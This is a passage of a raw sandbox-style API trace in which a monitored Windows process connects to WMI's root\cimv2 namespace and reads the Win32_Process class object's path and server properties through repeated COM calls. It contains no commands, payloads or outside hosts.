riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bc6fe80) returned 0x0 [0136.871] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc6fe80, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc659d0) returned 0x0 [0136.976] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc659d0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bc42860) returned 0x0 [0136.976] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc42860, pProxy=0x1bc659d0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0136.976] WbemLocator:IUnknown:Release (This=0x1bc42860) returned 0x1 [0136.976] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc659d0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bc428a0) returned 0x0 [0136.976] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc659d0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bc42860) returned 0x0 [0136.976] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc42860, pProxy=0x1bc659d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0136.976] WbemLocator:IUnknown:Release (This=0x1bc42860) returned 0x2 [0136.976] WbemLocator:IUnknown:Release (This=0x1bc428a0) returned 0x1 [0136.976] CoTaskMemFree (pv=0x1bc6daa0) [0136.977] WbemLocator:IUnknown:AddRef (This=0x1bc659d0) returned 0x2 [0136.977] WbemLocator:IUnknown:Release (This=0x1bc6fe80) returned 0x0 [0136.977] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0136.977] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0136.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc659d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bc42870) returned 0x0 [0136.977] WbemLocator:IRpcOptions:Query (in: This=0x1bc42870, pPrx=0x1bc6fee0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0136.977] WbemLocator:IUnknown:Release (This=0x1bc42870) returned 0x2 [0136.977] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0136.977] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0136.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc659d0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc659d0) returned 0x0 [0136.978] WbemLocator:IUnknown:Release (This=0x1bc659d0) returned 0x2 [0136.978] SysStringLen (param_1=0x0) returned 0x0 [0136.978] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40340, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0136.978] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0136.978] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.978] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40040, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0136.978] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40040, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0136.978] IWbemServices:GetObject (in: This=0x1bc659d0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bc76280, ppCallResult=0x0) returned 0x0 [0136.981] IWbemClassObject:Get (in: This=0x1bc76280, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0136.981] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0136.981] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0136.981] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0136.981] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0136.981] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0136.981] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.983] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bc6fe80) returned 0x0 [0136.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6fe80, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0136.983] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6fe80, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc40400) returned 0x0 [0136.983] WbemDefPath:IUnknown:Release (This=0x1bc6fe80) returned 0x0 [0136.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc40400) returned 0x0 [0136.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0136.983] WbemDefPath:IUnknown:AddRef (This=0x1bc40400) returned 0x3 [0136.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0136.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0136.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bc6fea0) returned 0x0 [0136.983] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6fea0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.983] WbemDefPath:IUnknown:Release (This=0x1bc6fea0) returned 0x3 [0136.983] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0136.984] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0136.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0136.984] WbemDefPath:IUnknown:Release (This=0x1bc40400) returned 0x2 [0136.984] WbemDefPath:IUnknown:Release (This=0x1bc40400) returned 0x1 [0136.984] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0136.984] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0136.984] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc40400) returned 0x0 [0136.984] WbemDefPath:IUnknown:AddRef (This=0x1bc40400) returned 0x3 [0136.984] WbemDefPath:IUnknown:Release (This=0x1bc40400) returned 0x2 [0136.984] WbemDefPath:IWbemPath:SetText (This=0x1bc40400, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0136.984] IWbemClassObject:Get (in: This=0x1bc76280, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0136.984] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.984] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.984] IWbemClassObject:Get (in: This=0x1bc76280, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0136.984] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0136.985] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0136.985] IWbemClassObject:Get (in: This=0x1bc76280, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0136.985] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0136.985] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0136.985] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0136.985] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0136.985] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0136.985] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.986] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc70040) returned 0x0 [0136.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc70040, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0136.987] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc70040, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc404c0) returned 0x0 [0136.987] WbemDefPath:IUnknown:Release (This=0x1bc70040) returned 0x0 [0136.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc404c0) returned 0x0 [0136.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0136.987] WbemDefPath:IUnknown:AddRef (This=0x1bc404c0) returned 0x3 [0136.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0136.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0136.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc70080) returned 0x0 [0136.987] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc70080, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.987] WbemDefPath:IUnknown:Release (This=0x1bc70080) returned 0x3 [0136.987] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0136.987] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0136.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0136.987] WbemDefPath:IUnknown:Release (This=0x1bc404c0) returned 0x2 [0136.987] WbemDefPath:IUnknown:Release (This=0x1bc404c0) returned 0x1 [0136.987] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0136.988] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0136.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc404c0) returned 0x0 [0136.988] WbemDefPath:IUnknown:AddRef (This=0x1bc404c0) returned 0x3 [0136.988] WbemDefPath:IUnknown:Release (This=0x1bc404c0) returned 0x2 [0136.988] WbemDefPath:IWbemPath:SetText (This=0x1bc404c0, uMode=0x4, pszPath="") returned 0x0 [0136.988] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0136.988] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0136.988] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0136.988] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.989] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc70040) returned 0x0 [0136.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc70040, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0136.989] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc70040, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc40580) returned 0x0 [0136.989] WbemDefPath:IUnknown:Release (This=0x1bc70040) returned 0x0 [0136.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc40580) returned 0x0 [0136.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0136.990] WbemDefPath:IUnknown:AddRef (This=0x1bc40580) returned 0x3 [0136.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0136.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0136.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc88630) returned 0x0 [0136.990] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc88630, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.990] WbemDefPath:IUnknown:Release (This=0x1bc88630) returned 0x3 [0136.990] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0136.990] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0136.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0136.990] WbemDefPath:IUnknown:Release (This=0x1bc40580) returned 0x2 [0136.990] WbemDefPath:IUnknown:Release (This=0x1bc40580) returned 0x1 [0136.990] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0136.990] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0136.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, 